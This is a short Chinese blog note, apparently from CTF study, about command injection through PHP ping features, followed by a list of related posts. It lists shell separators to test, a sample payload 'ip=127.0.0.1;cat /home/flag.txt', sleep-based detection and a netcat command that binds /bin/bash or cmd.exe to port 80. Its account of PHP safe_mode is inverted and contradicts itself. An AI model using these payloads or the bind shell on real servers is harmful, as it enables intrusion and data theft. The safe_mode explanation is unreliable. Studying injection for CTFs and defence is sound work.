php ping 命令注入,CTF关于ping命令注入问题

题目样式

对于看到ping或者ping命令却没有弄waf时就要想到命令注入。

具体注入方法

看到ping命令就可以利用截断来执行新的命令。

首先测试所有的截断符号：

‘$’

‘;’

‘|’

‘-’

‘(’

‘)’

‘反引号’

‘||’

‘&&’

‘&’

‘}’

‘{’

'%0a’可以当作空格来用；

利用截断符号配合普通命令简单问题基本就出来；

例如：ip=127.0.0.1;cat /home/flag.txt

简单的flag就出来了，也可以配合其他的进行；

命令注入原因

系统提供命令执行类函数主要方便处理相关应用场景的功能.而当不合理的使用这类函数，同时调用的变量未考虑安全因素，就会执行恶意的命令调用，被攻击利用。

方法

此类命令执行函数依赖PHP配置文件的设置，如果配置选项 safe_mode 设置为 off，此类命令不可执行，必须设置为 On

的情况下，才可执行。PHP 默认是关闭的。在安全模式下，只有在特定目录中的外部程序才可以被执行，对其它程序的调用将被拒绝。这个目录可以在php.ini文件中用 safe_mode_exec_dir指令，或在编译PHP是加上 –with-exec-dir选项来指定，默认是/usr/local/php /bin。

1：检测一阶命令注入的最佳方式是尝试执行一个sleep命令

2：在外部可以访问的端口上生成一个shell(仅适用于自定义netcat构建)：nc -l -n -vv -p 80 -e /bin/bash (unix) 或 nc -l -n -vv -p 80 -e cmd.exe (windows)。

3：如果想要知道目标主机名的长度，我们可以将主机名的输出通过管道符传递给wc -c命令。

另外还有很多方法来进行命令注入。等我详细阅读之后继续整理

php ping 命令注入,CTF关于ping命令注入问题相关推荐

响应因特网端口ping命令_如何使用Ping命令识别基本的Internet问题
响应因特网端口ping命令 Next time you call your help desk, do you want to wow them with your networking knowle ...
网络相关的一些基本的命令的使用（ping、ifconfig、route、netstat）---Linux学习笔记
ping命令的使用: 介绍: 通常我们使用它检测网络是否联通,他使用ICMP.但是有时会出现这样的情况,我们可以用浏览器查看一个网页,但是却无法ping通,这是因为一些网站处于完全考虑安装了防火墙. ...
Linux网络故障排查命令（ifconfig、ping、telnet、netstat、lsof、nc、curl、tcpdump）
目录 ifconfig -s,显示网卡信息的精简列表 -a.up.down 将IP地址绑定到某个网卡,以及解绑操作 ping telnet netstat lsof nc 模拟一个服务器程序和客户端程 ...
计算机网络中ping命令的使用方法,ping命令的基础使用技巧
在电脑基础操作中,很多人在操作电脑中可以接触到这个ping命令.但是都是没有深入的去了解这个ping命令.对于ping命令在电脑中可以通过ping来判断及解决网络故障.我们每天都接触电脑使用互联网的人 ...
linux限制ping的时间,如何限制Linux命令程序运行的时间
Linux提供了大量的命令,每个命令都是唯一的,并且在特定的情况下使用.Linux的目标是帮助您尽可能地高效工作.Linux命令的一个属性是时间限制.您可以为任何您想要的命令设置时间限制.如果时间过 ...
ping 不是内部或外部命令，也不是可运行的程序或批处理文件。的解决办法
我们在ping检测网络的时候出现以下报错: 'ping' 不是内部或外部命令,也不是可运行的程序或批处理文件. https://blog.csdn.net/hanhanwanghaha宝藏女孩欢迎 ...
mysql内测试连通性命令_怎么使用ping命令进行连通性测试
关于ping命令的作用: ping 命令有助于验证网络层的连通性!一般进行网络故障排除时,可以使用ping 命令向目标计算机或IP地址发送ICMP回显请求,目标计算机会返回回显应答,如果目标计算机不能 ...
Linux 命令（109）—— ping 命令
文章目录 1.命令简介 2.命令格式 3.选项说明 4.常用示例 5.拓展知识 5.1 TTL 5.2 开启和禁用 ping 响应参考文献 1.命令简介 ping(Packet Internet G ...
全面掌握ping命令（四）ping命令常用参数
参数可以对命令的功能进行扩展,ping命令的参数比较多,常用的主要有以下几个: (1)ping IP地址 –t 连续不停对IP地址发送ICMP数据包,直到被用户以Ctrl+C中断. 如:ping 19 ...

php ping 命令注入,CTF关于ping命令注入问题

php ping 命令注入,CTF关于ping命令注入问题相关推荐

最新文章

热门文章